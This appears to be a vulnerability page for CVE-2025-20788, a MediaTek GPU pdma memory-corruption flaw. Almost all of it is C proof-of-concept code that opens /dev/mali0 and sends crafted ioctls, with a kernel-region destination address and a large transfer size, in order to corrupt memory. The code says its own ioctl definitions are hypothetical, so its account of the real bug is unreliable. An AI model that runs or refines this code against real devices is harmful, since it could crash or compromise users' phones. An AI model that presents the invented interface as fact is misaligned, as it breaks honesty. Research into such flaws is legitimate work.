CVE-2025-20788: MediaTek GPU pdma内存损坏漏洞

// CVE-2025-20788 PoC - MediaTek GPU pdma Memory Corruption // This is a conceptual PoC demonstrating the exploitation approach #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/ioctl.h> // MediaTek GPU pdma ioctl definitions (hypothetical) #define GPU_PDMA_IOC_MAGIC 'G' #define GPU_PDMA_SET_BUFFER _IOW(GPU_PDMA_IOC_MAGIC, 0x01, struct pdma_config) #define GPU_PDMA_TRIGGER _IO(GPU_PDMA_IOC_MAGIC, 0x02) struct pdma_config { unsigned long src_addr; unsigned long dst_addr; unsigned int size; unsigned int flags; }; int main() { int fd; struct pdma_config config; printf("CVE-2025-20788 PoC - MediaTek GPU pdma Memory Corruption\n"); // Open GPU device (requires local access) fd = open("/dev/mali0", O_RDWR); if (fd < 0) { perror("Failed to open GPU device"); return -1; } // Trigger the vulnerability without proper permission check // Set up malicious pdma configuration config.src_addr = 0xFFFFFFFF; // Invalid source address config.dst_addr = 0x10000000; // Kernel memory region config.size = 0x10000; // Large transfer size config.flags = 0x00; // Missing permission flags // This ioctl call should validate permissions but doesn't if (ioctl(fd, GPU_PDMA_SET_BUFFER, &config) < 0) { perror("Failed to set pdma config"); close(fd); return -1; } // Trigger the DMA transfer - causes memory corruption if (ioctl(fd, GPU_PDMA_TRIGGER, NULL) < 0) { perror("Failed to trigger pdma"); close(fd); return -1; } printf("Memory corruption triggered - system may crash\n"); close(fd); return 0; } // Note: This PoC is for educational purposes. Real exploitation requires: // 1. Local access to the device // 2. User interaction to trigger the vulnerable code path // 3. Specific MediaTek GPU driver version without patch ALPS10117735